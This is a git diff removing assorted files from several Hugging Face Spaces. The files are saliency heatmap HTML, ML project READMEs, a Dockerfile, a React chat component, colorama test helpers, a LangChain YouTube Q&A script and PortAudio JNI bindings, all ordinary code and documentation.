+++ /dev/null
@@ -1,46 +0,0 @@
-<br/><b>0th instance:</b><br/>
-<html>
-<div id="bngcqzbpnovkbywcsiji_viz_container">
-    <div id="bngcqzbpnovkbywcsiji_content" style="padding:15px;border-style:solid;margin:5px;">
-        <div id = "bngcqzbpnovkbywcsiji_saliency_plot_container" class="bngcqzbpnovkbywcsiji_viz_container" style="display:block">
-            
-<div id="naejkhjthdlwszfysmbs_saliency_plot" class="naejkhjthdlwszfysmbs_viz_content">
-    <div style="margin:5px;font-family:sans-serif;font-weight:bold;">
-        <span style="font-size: 20px;">Source Saliency Heatmap</span>
-        <br>
-        x: Generated tokens, y: Attributed tokens
-    </div>
-    
-<table border="1" cellpadding="5" cellspacing="5"
-    style="overflow-x:scroll;display:block;">
-    <tr><th></th>
-<th>▁She's</th><th>▁a</th><th>▁nurse.</th><th>&lt;/s&gt;</th></tr><tr><th>▁Ő</th><th style="background:rgba(255.0, 13.0, 87.0, 0.5585660526836996)">0.497</th><th style="background:rgba(255.0, 13.0, 87.0, 0.43244206773618543)">0.382</th><th style="background:rgba(255.0, 13.0, 87.0, 0.5428005545652606)">0.479</th><th style="background:rgba(30.0, 136.0, 229.0, 0.36938007526242816)">-0.327</th></tr><tr><th>▁nővér.</th><th style="background:rgba(255.0, 13.0, 87.0, 0.9842345018815607)">0.868</th><th style="background:rgba(255.0, 13.0, 87.0, 0.6610417904535549)">0.589</th><th style="background:rgba(255.0, 13.0, 87.0, 0.6689245395127748)">0.594</th><th style="background:rgba(255.0, 13.0, 87.0, 1.0)">0.888</th></tr><tr><th>&lt;/s&gt;</th><th style="background:rgba(230.2941176470614, 26.505882352939775, 102.59215686274348, 0.0)">0.0</th><th style="background:rgba(230.2941176470614, 26.505882352939775, 102.59215686274348, 0.0)">0.0</th><th style="background:rgba(230.2941176470614, 26.505882352939775, 102.59215686274348, 0.0)">0.0</th><th style="background:rgba(230.2941176470614, 26.505882352939775, 102.59215686274348, 0.0)">0.0</th></tr></table>
-</div>
-
-        </div>
-    </div>
-</div>
-</html>
-<br/><b>0th instance:</b><br/>
-<html>
-<div id="otzzbcmlgqdlbopojles_viz_container">
-    <div id="otzzbcmlgqdlbopojles_content" style="padding:15px;border-style:solid;margin:5px;">
-        <div id = "otzzbcmlgqdlbopojles_saliency_plot_container" class="otzzbcmlgqdlbopojles_viz_container" style="display:block">
-            
-<div id="dwjuuksnxqqejlnoabfu_saliency_plot" class="dwjuuksnxqqejlnoabfu_viz_content">
-    <div style="margin:5px;font-family:sans-serif;font-weight:bold;">
-        <span style="font-size: 20px;">Target Saliency Heatmap</span>
-        <br>
-        x: Generated tokens, y: Attributed tokens
-    </div>
-    
-<table border="1" cellpadding="5" cellspacing="5"
-    style="overflow-x:scroll;display:block;">
-    <tr><th></th>
-<th>▁She's</th><th>▁a</th><th>▁nurse.</th><th>&lt;/s&gt;</th></tr><tr><th>▁She's</th><th style="background:rgba(230.2941176470614, 26.505882352939775, 102.59215686274348, 0.0)"></th><th style="background:rgba(255.0, 13.0, 87.0, 0.8029312735195088)">0.712</th><th style="background:rgba(255.0, 13.0, 87.0, 0.6137452960982372)">0.545</th><th style="background:rgba(255.0, 13.0, 87.0, 0.2747870865517925)">0.248</th></tr><tr><th>▁a</th><th style="background:rgba(230.2941176470614, 26.505882352939775, 102.59215686274348, 0.0)"></th><th style="background:rgba(230.2941176470614, 26.505882352939775, 102.59215686274348, 0.0)"></th><th style="background:rgba(255.0, 13.0, 87.0, 0.39302832244008706)">0.347</th><th style="background:rgba(255.0, 13.0, 87.0, 0.219607843137255)">0.197</th></tr><tr><th>▁nurse.</th><th style="background:rgba(230.2941176470614, 26.505882352939775, 102.59215686274348, 0.0)"></th><th style="background:rgba(230.2941176470614, 26.505882352939775, 102.59215686274348, 0.0)"></th><th style="background:rgba(230.2941176470614, 26.505882352939775, 102.59215686274348, 0.0)"></th><th style="background:rgba(255.0, 13.0, 87.0, 0.07771836007130124)">0.072</th></tr><tr><th>&lt;/s&gt;</th><th style="background:rgba(230.2941176470614, 26.505882352939775, 102.59215686274348, 0.0)"></th><th style="background:rgba(230.2941176470614, 26.505882352939775, 102.59215686274348, 0.0)"></th><th style="background:rgba(230.2941176470614, 26.505882352939775, 102.59215686274348, 0.0)"></th><th style="background:rgba(230.2941176470614, 26.505882352939775, 102.59215686274348, 0.0)"></th></tr></table>
-</div>
-
-        </div>
-    </div>
-</div>
-</html>
diff --git a/spaces/pablodawson/ldm3d-inpainting/diffuserslocal/examples/research_projects/onnxruntime/text_to_image/README.md b/spaces/pablodawson/ldm3d-inpainting/diffuserslocal/examples/research_projects/onnxruntime/text_to_image/README.md
deleted file mode 100644
index cd9397939ac2399ac161f19623430636a4c3c9ad..0000000000000000000000000000000000000000
--- a/spaces/pablodawson/ldm3d-inpainting/diffuserslocal/examples/research_projects/onnxruntime/text_to_image/README.md
+++ /dev/null
@@ -1,74 +0,0 @@
-# Stable Diffusion text-to-image fine-tuning
-
-The `train_text_to_image.py` script shows how to fine-tune stable diffusion model on your own dataset.
-
-___Note___:
-
-___This script is experimental. The script fine-tunes the whole model and often times the model overfits and runs into issues like catastrophic forgetting. It's recommended to try different hyperparamters to get the best result on your dataset.___
-
-
-## Running locally with PyTorch
-### Installing the dependencies
-
-Before running the scripts, make sure to install the library's training dependencies:
-
-**Important**
-
-To make sure you can successfully run the latest versions of the example scripts, we highly recommend **installing from source** and keeping the install up to date as we update the example scripts frequently and install some example-specific requirements. To do this, execute the following steps in a new virtual environment:
-```bash
-git clone https://github.com/huggingface/diffusers
-cd diffusers
-pip install .
-```
-
-Then cd in the example folder  and run
-```bash
-pip install -r requirements.txt
-```
-
-And initialize an [🤗Accelerate](https://github.com/huggingface/accelerate/) environment with:
-
-```bash
-accelerate config
-```
-
-### Pokemon example
-
-You need to accept the model license before downloading or using the weights. In this example we'll use model version `v1-4`, so you'll need to visit [its card](https://huggingface.co/CompVis/stable-diffusion-v1-4), read the license and tick the checkbox if you agree. 
-
-You have to be a registered user in 🤗 Hugging Face Hub, and you'll also need to use an access token for the code to work. For more information on access tokens, please refer to [this section of the documentation](https://huggingface.co/docs/hub/security-tokens).
-
-Run the following command to authenticate your token
-
-```bash
-huggingface-cli login
-```
-
-If you have already cloned the repo, then you won't need to go through these steps.
-
-<br>
-
-## Use ONNXRuntime to accelerate training
-In order to leverage onnxruntime to accelerate training, please use train_text_to_image.py
-
-The command to train a DDPM UNetCondition model on the Pokemon dataset with onnxruntime:
-
-```bash
-export MODEL_NAME="CompVis/stable-diffusion-v1-4"
-export dataset_name="lambdalabs/pokemon-blip-captions"
-accelerate launch --mixed_precision="fp16"  train_text_to_image.py \
-  --pretrained_model_name_or_path=$MODEL_NAME \
-  --dataset_name=$dataset_name \
-  --use_ema \
-  --resolution=512 --center_crop --random_flip \
-  --train_batch_size=1 \
-  --gradient_accumulation_steps=4 \
-  --gradient_checkpointing \
-  --max_train_steps=15000 \
-  --learning_rate=1e-05 \
-  --max_grad_norm=1 \
-  --lr_scheduler="constant" --lr_warmup_steps=0 \
-  --output_dir="sd-pokemon-model" 
-```
-
-Please contact Prathik Rao (prathikr), Sunghoon Choi (hanbitmyths), Ashwini Khade (askhade), or Peng Wang (pengwa) on github with any questions.
\ No newline at end of file
diff --git a/spaces/paulbricman/conceptarium/frontend/Dockerfile b/spaces/paulbricman/conceptarium/frontend/Dockerfile
deleted file mode 100644
index a528df359c0a87c09f23b1182ac04422c76d60a6..0000000000000000000000000000000000000000
--- a/spaces/paulbricman/conceptarium/frontend/Dockerfile
+++ /dev/null
@@ -1,8 +0,0 @@
-FROM python:3.9
-COPY requirements.txt app/requirements.txt
-WORKDIR /app
-RUN pip install -r requirements.txt
-COPY . /app
-EXPOSE 8501
-ENTRYPOINT ["streamlit","run"]
-CMD ["main.py"]
\ No newline at end of file
diff --git a/spaces/pierretassel/JobShopCPRL/README.md b/spaces/pierretassel/JobShopCPRL/README.md
deleted file mode 100644
index 89708a3aa9dc1cb7adfa2d792ce7ce30692d03cc..0000000000000000000000000000000000000000
--- a/spaces/pierretassel/JobShopCPRL/README.md
+++ /dev/null
@@ -1,93 +0,0 @@
----
-license: mit
-title: >-
-  An End-to-End Reinforcement Learning Approach for Job-Shop Scheduling Problems
-  Based on Constraint Programming
-sdk: gradio
-emoji: 🚀
----
-# An End-to-End Reinforcement Learning Approach for Job-Shop Scheduling Problems Based on Constraint Programming
-
-Checkout the paper on arXiv: [https://arxiv.org/abs/2306.05747](https://arxiv.org/abs/2306.05747)
-
-A Job-Shop Scheduling Reinforcement Learning based solver using an underlying CP model as an environment. 
-For fast inference, check out the cached examples below.
-Any Job-Shop Scheduling instance following the standard specification is compatible. Check out this website for more instances.
-Increasing the number of workers will provide better solutions but will slow down the solving time. This behavior is different from the one from the paper repository as agents run sequentially, whereas we run agents in parallel (technical limitation due to the platform here). 
-
-We recommend running the approach locally outside the interface for large instances, as it causes a lot of overhead, and the resource available on this platform is low (1 vCPU and no GPU).
-
-Please checkout the Github repo for more information: [https://github.com/ingambe/End2End-Job-Shop-Scheduling-CP](https://github.com/ingambe/End2End-Job-Shop-Scheduling-CP)
-This repository contains the source code for the paper "An End-to-End Reinforcement Learning Approach for Job-Shop Scheduling Problems Based on Constraint Programming".
-This works propose an approach to design a Reinforcement Learning (RL) environment using Constraint Programming (CP) and a training algorithm that does not rely on any custom reward or observation for the job-shop scheduling (JSS) problem.
-
-
-## Installation
-
-To use the code, first clone the repository:
-
-```bash
-git clone https://github.com/ingambe/End2End-Job-Shop-Scheduling-CP.git
-```
-
-It is recommended to create a new virtual environment (optional) and install the required dependencies using:
-
-```bash
-pip install -r requirements.txt
-```
-
-## Training the Reinforcement Learning Agent
-
-The `main.py` script allows training the agent from scratch:
-
-```bash
-python main.py
-```
-
-You can train your agent on different instances by replacing the files in the `instances_train/` folder.
-
-The pre-trained checkpoint of the neural network is saved in the `checkpoint.pt` file.
-
-## Solving benchmark instances
-
-The `fast_solve.py` script solves the job-shop scheduling instances stored in the `instances_run/` folder and outputs the results in a `results.csv` file. For better performance, it is recommended to run the script with the `-O` argument:
-
-```bash
-python -O fast_solve.py
-```
-
-To obtain the solutions using the dispatching heuristics (`FIFO`, `MTWR`, etc.), you can execute the script `static_dispatching/benchmark_static_dispatching.py`
-
-## Looking for the environment only?
-
-The environment only can be installed as a standalone package using
-
-```bash
-pip install jss_cp
-```
-
-For extra performance, the code is compiled using MyPyC
-Checkout the environment repository: [https://github.com/ingambe/JobShopCPEnv](https://github.com/ingambe/JobShopCPEnv)
-
-## Citation
-
-If you use this environment in your research, please cite the following paper:
-
-```bibtex
-@article{Tassel_Gebser_Schekotihin_2023,
-  title={An End-to-End Reinforcement Learning Approach for Job-Shop Scheduling Problems Based on Constraint Programming},
-  volume={33},
-  url={https://ojs.aaai.org/index.php/ICAPS/article/view/27243},
-  DOI={10.1609/icaps.v33i1.27243},
-  number={1},
-  journal={Proceedings of the International Conference on Automated Planning and Scheduling},
-  author={Tassel, Pierre and Gebser, Martin and Schekotihin, Konstantin},
-  year={2023},
-  month={Jul.},
-  pages={614-622}
-}
-```
-
-## License
-
-MIT License
\ No newline at end of file
diff --git a/spaces/pinkq/Newbing/src/components/chat.tsx b/spaces/pinkq/Newbing/src/components/chat.tsx
deleted file mode 100644
index a37ab1cc96ca2e6bfd9acbe313a8d946bfd5c3d4..0000000000000000000000000000000000000000
--- a/spaces/pinkq/Newbing/src/components/chat.tsx
+++ /dev/null
@@ -1,93 +0,0 @@
-'use client'
-
-import { useCallback, useEffect, useMemo, useState } from 'react'
-import { useAtom } from 'jotai'
-import Image from 'next/image'
-import { cn } from '@/lib/utils'
-import { ChatList } from '@/components/chat-list'
-import { ChatPanel } from '@/components/chat-panel'
-import { WelcomeScreen } from '@/components/welcome-screen'
-import { ChatScrollAnchor } from '@/components/chat-scroll-anchor'
-import { ToneSelector } from './tone-selector'
-import { ChatHeader } from './chat-header'
-import { ChatSuggestions } from './chat-suggestions'
-import { bingConversationStyleAtom } from '@/state'
-import { ButtonScrollToBottom } from '@/components/button-scroll-to-bottom'
-import StopIcon from '@/assets/images/stop.svg'
-import { useBing } from '@/lib/hooks/use-bing'
-import { ChatMessageModel } from '@/lib/bots/bing/types'
-import { ChatNotification } from './chat-notification'
-import { Settings } from './settings'
-import { ChatHistory } from './chat-history'
-
-export type ChatProps = React.ComponentProps<'div'> & { initialMessages?: ChatMessageModel[] }
-
-export default function Chat({ className }: ChatProps) {
-
-  const [bingStyle, setBingStyle] = useAtom(bingConversationStyleAtom)
-  const {
-    messages,
-    sendMessage,
-    resetConversation,
-    stopGenerating,
-    setInput,
-    bot,
-    input,
-    generating,
-    isSpeaking,
-    uploadImage,
-    attachmentList,
-    setAttachmentList,
-  } = useBing()
-
-  useEffect(() => {
-    window.scrollTo({
-      top: document.body.offsetHeight,
-      behavior: 'smooth'
-    })
-  }, [])
-
-  return (
-    <div className="flex flex-1 flex-col">
-      <Settings />
-      <div className={cn('flex-1 pb-16', className)}>
-        <ChatHeader />
-        <WelcomeScreen setInput={setInput} />
-        <ToneSelector type={bingStyle} onChange={setBingStyle} />
-        {messages.length ? (
-          <>
-            <ChatList messages={messages} />
-            <ChatScrollAnchor trackVisibility={generating} />
-            <ChatNotification message={messages.at(-1)} bot={bot} />
-            <ChatSuggestions setInput={setInput} suggestions={messages.at(-1)?.suggestedResponses} />
-
-            {generating ? (
-              <div className="flex h-10 items-center justify-center my-4">
-                <button
-                  onClick={stopGenerating}
-                  className="typing-control-item stop"
-                >
-                  <Image alt="stop" src={StopIcon} width={24} className="mr-1" />
-                  <span>停止响应</span>
-                </button>
-              </div>
-            ) : null}
-          </>
-        ) : null}
-      </div>
-      <ChatPanel
-        className="pt-24 z-10"
-        isSpeaking={isSpeaking}
-        generating={generating}
-        sendMessage={sendMessage}
-        input={input}
-        setInput={setInput}
-        resetConversation={resetConversation}
-        uploadImage={uploadImage}
-        attachmentList={attachmentList}
-        setAttachmentList={setAttachmentList}
-      />
-      <ButtonScrollToBottom />
-    </div>
-  )
-}
diff --git a/spaces/pknez/face-swap-docker/mynewshinyroop/Lib/site-packages/pip/_vendor/colorama/tests/utils.py b/spaces/pknez/face-swap-docker/mynewshinyroop/Lib/site-packages/pip/_vendor/colorama/tests/utils.py
deleted file mode 100644
index 472fafb4403efb9673d5cc724dafd9cf764aac5b..0000000000000000000000000000000000000000
--- a/spaces/pknez/face-swap-docker/mynewshinyroop/Lib/site-packages/pip/_vendor/colorama/tests/utils.py
+++ /dev/null
@@ -1,49 +0,0 @@
-# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
-from contextlib import contextmanager
-from io import StringIO
-import sys
-import os
-
-
-class StreamTTY(StringIO):
-    def isatty(self):
-        return True
-
-class StreamNonTTY(StringIO):
-    def isatty(self):
-        return False
-
-@contextmanager
-def osname(name):
-    orig = os.name
-    os.name = name
-    yield
-    os.name = orig
-
-@contextmanager
-def replace_by(stream):
-    orig_stdout = sys.stdout
-    orig_stderr = sys.stderr
-    sys.stdout = stream
-    sys.stderr = stream
-    yield
-    sys.stdout = orig_stdout
-    sys.stderr = orig_stderr
-
-@contextmanager
-def replace_original_by(stream):
-    orig_stdout = sys.__stdout__
-    orig_stderr = sys.__stderr__
-    sys.__stdout__ = stream
-    sys.__stderr__ = stream
-    yield
-    sys.__stdout__ = orig_stdout
-    sys.__stderr__ = orig_stderr
-
-@contextmanager
-def pycharm():
-    os.environ["PYCHARM_HOSTED"] = "1"
-    non_tty = StreamNonTTY()
-    with replace_by(non_tty), replace_original_by(non_tty):
-        yield
-    del os.environ["PYCHARM_HOSTED"]
diff --git a/spaces/podsni/YouTube_Summarize_Hades/ap.py b/spaces/podsni/YouTube_Summarize_Hades/ap.py
deleted file mode 100644
index 01f4f2c18ce06843fe731c842874780370f59156..0000000000000000000000000000000000000000
--- a/spaces/podsni/YouTube_Summarize_Hades/ap.py
+++ /dev/null
@@ -1,113 +0,0 @@
-import pickle
-
-from youtube_transcript_api import YouTubeTranscriptApi
-from dotenv import load_dotenv
-from langchain.embeddings.openai import OpenAIEmbeddings
-from langchain.vectorstores.faiss import FAISS
-from langchain.text_splitter import CharacterTextSplitter
-from langchain.llms import OpenAI
-from langchain.chains import ChatVectorDBChain
-from langchain.prompts import PromptTemplate
-from pathlib import Path
-import os
-import openai
-import gradio as gr 
-
-load_dotenv()
-OPENAI_KEY = os.getenv('OPENAI_KEY')
-
-
-
-
-_template = """ Given the following conversation and a follow up question, rephrase the follow up question to be a standalone question.
-Chat History:
-{chat_history}
-Follow Up Input: {question}
-Standalone question:"""
-CONDENSE_QUESTION_PROMPT = PromptTemplate.from_template(_template)
-
-template = """You are an AI version of the youtuber {name} .
-You are given the following extracted parts of a long document and a question. Provide a conversational answer.
-Question: {question}
-=========
-{context}
-=========
-Answer:"""
-QA_PROMPT = PromptTemplate(template=template, input_variables=["question", "context", "name"])
-
-video1 = "ReeLQR7KCcM"
-youtuberName = ""
-
-def gpt_api (input_text):
-    completion = openai.Completion.create(
-    engine="text-davinci-003",
-    prompt=input_text,
-    top_p=1,
-    frequency_penalty=0,
-    presence_penalty=0,
-    max_tokens=300,
-    n=1,
-    stop="",
-    temperature=0.6,
-    )
-    response = completion.choices[0].text.strip()
-    return response
-
-def generate(video_url, question):
-  if (video_url ==""): return ""
-  if "youtube.com/watch?v=" in video_url: x=111
-  else: return "Неверный URL"
-
-  video_id = video_url[-11:]
-  try:
-    t = YouTubeTranscriptApi.get_transcript(video_id,languages=["en"])
-    # do something with the transcript
-  except Exception as e:
-    return "An error occurred:"+e
-
-  finalString = ""
-  for item in t:
-      text = item['text']
-      finalString += text + " "
-  print("Transcript:",finalString)
-  print("Transcript lenght:",len(finalString))
-  if (len(finalString)>15000): finalString = finalString[:15000]
-
-  # load data sources to text (yt->text)
-  text_splitter = CharacterTextSplitter()
-  chunks = text_splitter.split_text(finalString)
-  vectorStorePkl = Path("vectorstore.pkl")
-  vectorStore = None
-  # if vectorStorePkl.is_file():
-  #     print("vector index found.. ")
-  #     with open('vectorstore.pkl', 'rb') as f:
-  #         vectorStore = pickle.load(f)
-  # else:
-  print("regenerating search index vector store..")
-  # It uses OpenAI API to create embeddings (i.e. a feature vector)
-  # https://developers.google.com/machine-learning/crash-course/embeddings/video-lecture
-  vectorStore = FAISS.from_texts(chunks, OpenAIEmbeddings(openai_api_key=OPENAI_KEY))
-  with open("vectorstore.pkl", "wb") as f:
-      pickle.dump(vectorStore, f)
-
-  qa = ChatVectorDBChain.from_llm(OpenAI(temperature=0, openai_api_key=OPENAI_KEY),
-                                  vectorstore=vectorStore, qa_prompt=QA_PROMPT)
-
-  chat_history = []
-  userInput = question 
-
-  response = qa({"name": youtuberName, "question": userInput, "chat_history": chat_history}, return_only_outputs=True)
-  print("Result:",response["answer"])
-  return response["answer"]
-#======================================
-
-
-title = "YouTube Summorize (only english video < 15 min)"
-demo = gr.Interface(fn=generate, css=".gradio-container {background-color: lightblue}",
-                     inputs=[
-                              gr.Textbox(lines=1, label="Video URL"), 
-                              gr.Textbox(lines=1, label="Question", value="What is this video about?"),
-                              ], 
-                      outputs=[gr.Textbox(lines=4, label="Ответ:")], 
-                      title = title)
-demo.launch(share=False, debug=True)
\ No newline at end of file
diff --git a/spaces/prerna9811/Chord/portaudio/bindings/java/c/src/com_portaudio_PortAudio.c b/spaces/prerna9811/Chord/portaudio/bindings/java/c/src/com_portaudio_PortAudio.c
deleted file mode 100644
index 77c42eba851c46dbddf6cbdfa2f2aa12c1782c6b..0000000000000000000000000000000000000000
--- a/spaces/prerna9811/Chord/portaudio/bindings/java/c/src/com_portaudio_PortAudio.c
+++ /dev/null
@@ -1,279 +0,0 @@
-/*
- * Portable Audio I/O Library
- * Java Binding for PortAudio
- *
- * Based on the Open Source API proposed by Ross Bencina
- * Copyright (c) 2008 Ross Bencina
- *
- * Permission is hereby granted, free of charge, to any person obtaining
- * a copy of this software and associated documentation files
- * (the "Software"), to deal in the Software without restriction,
- * including without limitation the rights to use, copy, modify, merge,
- * publish, distribute, sublicense, and/or sell copies of the Software,
- * and to permit persons to whom the Software is furnished to do so,
- * subject to the following conditions:
- *
- * The above copyright notice and this permission notice shall be
- * included in all copies or substantial portions of the Software.
- *
- * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
- * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
- * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
- * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
- * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
- * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
- * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
- */
-
-/*
- * The text above constitutes the entire PortAudio license; however, 
- * the PortAudio community also makes the following non-binding requests:
- *
- * Any person wishing to distribute modifications to the Software is
- * requested to send the modifications to the original developer so that
- * they can be incorporated into the canonical version. It is also 
- * requested that these non-binding requests be included along with the 
- * license above.
- */
-
-#include "com_portaudio_PortAudio.h"
-#include "portaudio.h"
-#include "jpa_tools.h"
-
-/*
- * Class:     com_portaudio_PortAudio
- * Method:    getVersion
- * Signature: ()I
- */
-JNIEXPORT jint JNICALL Java_com_portaudio_PortAudio_getVersion
-  (JNIEnv *env, jclass clazz)
-{
-	return Pa_GetVersion();
-}
-
-/*
- * Class:     com_portaudio_PortAudio
- * Method:    getVersionText
- * Signature: ()Ljava/lang/String;
- */
-JNIEXPORT jstring JNICALL Java_com_portaudio_PortAudio_getVersionText
-  (JNIEnv *env, jclass clazz)
-{
-	return (*env)->NewStringUTF(env, Pa_GetVersionText() );
-}
-
-/*
- * Class:     com_portaudio_PortAudio
- * Method:    initialize
- * Signature: ()I
- */
-JNIEXPORT void JNICALL Java_com_portaudio_PortAudio_initialize
-  (JNIEnv *env, jclass clazz)
-{
-	PaError err = Pa_Initialize();
-	jpa_CheckError( env, err );
-}
-
-/*
- * Class:     com_portaudio_PortAudio
- * Method:    terminate
- * Signature: ()I
- */
-JNIEXPORT void JNICALL Java_com_portaudio_PortAudio_terminate
-  (JNIEnv *env, jclass clazz)
-{
-	PaError err = Pa_Terminate();
-	jpa_CheckError( env, err );
-}
-
-/*
- * Class:     com_portaudio_PortAudio
- * Method:    getDeviceCount
- * Signature: ()I
- */
-JNIEXPORT jint JNICALL Java_com_portaudio_PortAudio_getDeviceCount
-  (JNIEnv *env, jclass clazz)
-{
-	jint count = Pa_GetDeviceCount();
-	return jpa_CheckError( env, count );
-}
-
-/*
- * Class:     com_portaudio_PortAudio
- * Method:    getDeviceInfo
- * Signature: (ILcom/portaudio/DeviceInfo;)I
- */
-JNIEXPORT void JNICALL Java_com_portaudio_PortAudio_getDeviceInfo
-  (JNIEnv *env, jclass clazz, jint index, jobject deviceInfo)
-{
-	const PaDeviceInfo *info;
-	     /* Get a reference to obj's class */
-	jclass cls = (*env)->GetObjectClass(env, deviceInfo);
- 
-	info = Pa_GetDeviceInfo( index );
-	if( info == NULL )
-	{
-		jpa_ThrowError( env, "Pa_GetDeviceInfo returned NULL." );
-	}
-	else
-	{
-		jpa_SetStringField( env, cls, deviceInfo, "name", info->name );
-		jpa_SetIntField( env, cls, deviceInfo, "maxInputChannels", info->maxInputChannels );
-		jpa_SetIntField( env, cls, deviceInfo, "maxOutputChannels", info->maxOutputChannels );
-		jpa_SetIntField( env, cls, deviceInfo, "hostApi", info->hostApi );
-		jpa_SetDoubleField( env, cls, deviceInfo, "defaultSampleRate", info->defaultSampleRate );
-		jpa_SetDoubleField( env, cls, deviceInfo, "defaultLowInputLatency", info->defaultLowInputLatency );
-		jpa_SetDoubleField( env, cls, deviceInfo, "defaultLowInputLatency", info->defaultHighInputLatency );
-		jpa_SetDoubleField( env, cls, deviceInfo, "defaultLowOutputLatency", info->defaultLowOutputLatency );
-		jpa_SetDoubleField( env, cls, deviceInfo, "defaultHighOutputLatency", info->defaultHighOutputLatency );
-	}
-}
-
-/*
- * Class:     com_portaudio_PortAudio
- * Method:    geHostApiCount
- * Signature: ()I
- */
-JNIEXPORT jint JNICALL Java_com_portaudio_PortAudio_getHostApiCount
-  (JNIEnv *env, jclass clazz)
-{
-	jint count = Pa_GetHostApiCount();
-	return jpa_CheckError( env, count );
-}
-
-
-/*
- * Class:     com_portaudio_PortAudio
- * Method:    hostApiTypeIdToHostApiIndex
- * Signature: (I)I
- */
-JNIEXPORT jint JNICALL Java_com_portaudio_PortAudio_hostApiTypeIdToHostApiIndex
-  (JNIEnv *env, jclass clazz, jint hostApiType)
-{
-	return Pa_HostApiTypeIdToHostApiIndex( (PaHostApiTypeId) hostApiType );
-}
-
-/*
- * Class:     com_portaudio_PortAudio
- * Method:    hostApiDeviceIndexToDeviceIndex
- * Signature: (II)I
- */
-JNIEXPORT jint JNICALL Java_com_portaudio_PortAudio_hostApiDeviceIndexToDeviceIndex
-  (JNIEnv *env, jclass clazz, jint hostApiIndex, jint apiDeviceIndex)
-{
-	return Pa_HostApiDeviceIndexToDeviceIndex( hostApiIndex, apiDeviceIndex );
-}
-
-
-/*
- * Class:     com_portaudio_PortAudio
- * Method:    getHostApiInfo
- * Signature: (ILcom/portaudio/HostApiInfo;)I
- */
-JNIEXPORT void JNICALL Java_com_portaudio_PortAudio_getHostApiInfo
-  (JNIEnv *env, jclass clazz, jint index, jobject hostApiInfo)
-{
-	const PaHostApiInfo *info;
-	     /* Get a reference to obj's class */
-	jclass cls = (*env)->GetObjectClass(env, hostApiInfo);
- 
-	info = Pa_GetHostApiInfo( index );
-	if( info == NULL )
-	{
-		jpa_ThrowError( env, "Pa_GetHostApiInfo returned NULL." );
-	}
-	else
-	{
-		jpa_SetIntField( env, cls, hostApiInfo, "version", info->structVersion );
-		jpa_SetIntField( env, cls, hostApiInfo, "type", info->type );
-		jpa_SetStringField( env, cls, hostApiInfo, "name", info->name );
-		jpa_SetIntField( env, cls, hostApiInfo, "deviceCount", info->deviceCount );
-		jpa_SetIntField( env, cls, hostApiInfo, "defaultInputDevice", info->defaultInputDevice );
-		jpa_SetIntField( env, cls, hostApiInfo, "defaultOutputDevice", info->defaultOutputDevice );
-	}
-}
-
-/*
- * Class:     com_portaudio_PortAudio
- * Method:    getDefaultInputDevice
- * Signature: ()I
- */
-JNIEXPORT jint JNICALL Java_com_portaudio_PortAudio_getDefaultInputDevice
-  (JNIEnv *env, jclass clazz)
-{
-	jint deviceId = Pa_GetDefaultInputDevice();
-	return jpa_CheckError( env, deviceId );
-}
-
-/*
- * Class:     com_portaudio_PortAudio
- * Method:    getDefaultOutputDevice
- * Signature: ()I
- */
-JNIEXPORT jint JNICALL Java_com_portaudio_PortAudio_getDefaultOutputDevice
-  (JNIEnv *env, jclass clazz)
-{
-	jint deviceId = Pa_GetDefaultOutputDevice();
-	return jpa_CheckError( env, deviceId );
-}
-
-/*
- * Class:     com_portaudio_PortAudio
- * Method:    getDefaultHostApi
- * Signature: ()I
- */
-JNIEXPORT jint JNICALL Java_com_portaudio_PortAudio_getDefaultHostApi
-  (JNIEnv *env, jclass clazz)
-{
-	jint deviceId = Pa_GetDefaultHostApi();
-	return jpa_CheckError( env, deviceId );
-}
-
-/*
- * Class:     com_portaudio_PortAudio
- * Method:    isFormatSupported
- * Signature: (Lcom/portaudio/StreamParameters;Lcom/portaudio/StreamParameters;I)I
- */
-JNIEXPORT jint JNICALL Java_com_portaudio_PortAudio_isFormatSupported
-  (JNIEnv *env, jclass clazz, jobject inParams, jobject outParams, jint sampleRate )
-{
-	PaStreamParameters myInParams, *paInParams;
-	PaStreamParameters myOutParams, *paOutParams;
-	
-	paInParams = jpa_FillStreamParameters(  env, inParams, &myInParams );
-	paOutParams = jpa_FillStreamParameters(  env, outParams, &myOutParams );
-	
-	return Pa_IsFormatSupported( paInParams, paOutParams, sampleRate );
-
-}
-
-/*
- * Class:     com_portaudio_PortAudio
- * Method:    openStream
- * Signature: (Lcom/portaudio/BlockingStream;Lcom/portaudio/StreamParameters;Lcom/portaudio/StreamParameters;III)I
- */
-JNIEXPORT void JNICALL Java_com_portaudio_PortAudio_openStream
-  (JNIEnv *env, jclass clazz, jobject blockingStream,  jobject inParams, jobject outParams, jint sampleRate, jint framesPerBuffer, jint flags )
-{
-	int err;
-	PaStreamParameters myInParams, *paInParams;
-	PaStreamParameters myOutParams, *paOutParams;
-	PaStream *stream;
-	
-	paInParams = jpa_FillStreamParameters(  env, inParams, &myInParams );
-	paOutParams = jpa_FillStreamParameters(  env, outParams, &myOutParams );
-	err = Pa_OpenStream( &stream, paInParams, paOutParams, sampleRate, framesPerBuffer, flags, NULL, NULL );
-	if( jpa_CheckError( env, err ) == 0 )
-	{
-		jclass cls = (*env)->GetObjectClass(env, blockingStream);
-		jpa_SetLongField( env, cls, blockingStream, "nativeStream", (jlong) stream );
-		if( paInParams != NULL )
-		{
-			jpa_SetIntField( env, cls, blockingStream, "inputFormat", paInParams->sampleFormat );
-		}
-		if( paOutParams != NULL )
-		{
-			jpa_SetIntField( env, cls, blockingStream, "outputFormat", paOutParams->sampleFormat );
-		}
-	}
-}
diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/httpcore/_sync/connection.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/httpcore/_sync/connection.py
deleted file mode 100644
index 81e4172a215b3e382b4703108ada1f2eb19d922c..0000000000000000000000000000000000000000
--- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/httpcore/_sync/connection.py
+++ /dev/null
